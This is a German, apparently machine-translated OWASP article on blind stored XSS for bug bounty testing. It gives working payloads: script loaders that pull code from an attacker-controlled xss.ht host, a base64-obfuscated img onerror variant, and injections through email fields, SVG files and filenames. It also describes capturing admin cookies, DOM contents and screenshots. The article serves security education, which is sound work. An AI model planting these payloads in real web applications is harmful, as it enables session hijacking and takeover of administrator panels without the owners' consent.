
In diesem Artikel werde ich über blindes XSS sprechen - dies ist ein ziemlich einfacher, aber oft sehr effektiver Angriff auf Webanwendungen. Der Betrieb solcher Angriffsvektoren führt zur Erfassung von Admin-Panels verschiedener Dienste, einschließlich Software-Riesen.
UPD: Ein Teil der Nutzdaten aus dem Artikel arbeitete an Habr-Aggregatoren / Parsern, solche Dinge :)
Wie funktioniert es
Zunächst ist anzumerken, dass XSS keine Sicherheitslücke ist, sondern eine Art Angriff auf Websysteme. Es besteht darin, schädlichen Code in die vom Websystem ausgegebene Seite einzuführen (die auf dem Computer des Benutzers ausgeführt wird, wenn diese Seite von ihm geöffnet wird) und mit dem Webserver des Angreifers zu interagieren. Es gibt verschiedene Arten von XSS: gespeichert, gespiegelt und DOM. In diesem Artikel werden nur gespeicherte XSS betrachtet - sie eignen sich zum Durchbrechen.
Das Angriffsschema lautet wie folgt: Der Angreifer platziert die schädlichen Nutzdaten in der Webanwendung, der anfällige Code gelangt in die Datenbank und "schießt" im Projektadministrationsbereich.

Oft ahnt der Angreifer vor dem Auslösen der Nutzlast nicht, wo und wann er „schießen“ wird. Aus eigener Erfahrung kann ich sagen, dass Nutzlastvorgänge von einigen Sekunden bis zu mehreren Monaten stattfanden - es ist äußerst problematisch, diesen Prozess zu beschleunigen.

Wo die Nutzlast funktioniert, ist ebenfalls ein wichtiger Faktor. Das Gefühl, die Endpunkte des blinden XSS zu spüren, ist vergleichbar mit dem Abfeuern von Kugeln mit einem verschobenen Schwerpunkt. Manchmal befinden sich Admin-Panels in eingängigen Subdomains des Formulars manage007.attacked.site oder außerhalb der getesteten Site unter einer IP-Adresse wie
XXX.XXX.XXX.XXX/admin_panel/dashboard.php . Oder es kann sich beispielsweise um ein Analysesystem handeln, das sich im Allgemeinen außerhalb der Grenzen des getesteten Unternehmens befindet.
Endpunkte
Um unsere Nutzlast zu stoppen, benötigen wir einen externen Endpunkt zum Abfangen. Zu diesem Zweck können Sie Ihren Dienst erhöhen und alle Anrufe abfangen, einschließlich Header mit einer für Sie akzeptablen Programmiersprache.

Oder Sie können die folgenden Optionen (Ihrer Wahl) verwenden.
BurpCollaborator ist ein spezialisierter externer Dienst für Benutzer von Burp Suite Pro:
Verwenden Sie Dienste,% name% bin, zum Beispiel
requestbin :
Erhöhen Sie Ihren eigenen Service, zum Beispiel mit
ezXSS :

Oder verwenden Sie
xsshunter (empfohlen für Anfänger) - einen Dienst zum Generieren von Nutzdaten und zum Erhalten eines "Kicks" von der ausgelösten Nutzlast (einschließlich E-Mail):

Nutzlasten
Also haben wir das Eingabeformular auf der Site gefunden und möchten unsere Theorie testen, dass der Blinde darin arbeiten wird. Dazu müssen wir Nutzlasten vorbereiten, einschließlich der Umgehung der Schutzausrüstung.
Der xsshunter-Dienst bietet mehrere vorgefertigte Nutzdaten für den Betrieb von blindem XSS:
Uri Nutzlast:
javascript:eval('var a=document.createElement(\'script\');a.src=\'https://yourpage.xss.ht\';document.body.appendChild(a)')
IMG-Nutzlast:
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veW91cnBhZ2UueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw onerror=eval(atob(this.id))>
Ein Teil der Nutzdaten wird in base64 konvertiert
var a=document.createElement("script");a.src="https://yourpage.xss.ht";document.body.appendChild(a);
Nutzlast im E-Mail-Feld:
"'--></style></title></textarea></script><script src=https://yourpage.xss.ht>"@test.com test@("'--></style></title></textarea></script><script src=https://yourpage.xss.ht>)test.com ("'--></style></title></textarea></script><script src=https://yourpage.xss.ht>)@test.com

Interessante Tricks
Betrachten Sie nun die interessantesten Eingabeformulare für die Implementierung von Nutzdaten.
E-Mail - oben sind gültige Implementierungsbeispiele aufgeführt. Ob dies funktioniert oder nicht, hängt von der Art der Webanwendung ab.
Im Feld Passwort - hier können wir herausfinden, ob die Webanwendung das Passwort im Klartext speichert und ob der Administrator es gesehen hat.
Online-Helfer - schießt manchmal auch hier.
In den Headern - ersetzen wir die Nutzdaten in allen Headern, die wir steuern können: Referer, User Agent usw.
Svg-Vektoren - Das Laden von Bildern / Avataren in Form von * .svg kann uns die Möglichkeit geben, unsere Nutzdaten zu implementieren
(Beispiel) . SVG enthält Nutzdaten:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"
Datei-Upload-Feld / Dateiname - Wir können versuchen, mit dem Namen herunterzuladen:
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veW91cnBhZ2UueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw onerror=eval(atob(this.id))>.jpg
Abbestellen -
Abbestellen von Feldern, "Ihre Meinung ist uns wichtig" und mehr. Auch eine sehr vielversprechende Form zur Einführung von Nutzlast.
Umfragen - Feld "Sonstige / Ihre Antwortoption".
Fang
Durch Ausnutzen dieses Angriffs können Sie auf das Control Panel (mit unangemessenen Sicherheitseinstellungen), den Screenshot, die DOM-Struktur, die IP-Adresse des Administrators, Cookies usw. zugreifen.

Mit diesem Angriff können Sie auf
Support- Systeme, Admin-Panels und vieles mehr zugreifen. Während der Teilnahme an den Bug Bounty-Programmen wurden einige interessante Screenshots gesammelt, die während solcher Angriffe erhalten wurden:
Online Casino :
Auto.ru (
johndoe1492 ):
Microsoft (
johndoe1492 ):
Das von 150.000 Unternehmen weltweit verwendete
System :

Es gibt viele solcher Screenshots - dies legt nahe, dass Entwickler nicht nur dem Fenster der Webanwendung, sondern auch ihrem administrativen Teil besondere Aufmerksamkeit schenken sollten.
UPD: Ein Teil der Nutzdaten aus dem Artikel arbeitete an Habr-Aggregatoren / Parsern, solche Dinge :)
Dieser Artikel wurde im Rahmen des OWASP-Projekts erstellt.
Kapitel OWASP Russland : OWASP RusslandOWASP Russland Chat: https://t.me/OWASP_RussiaOWASP Russland Kanal: https://t.me/OWASP_RU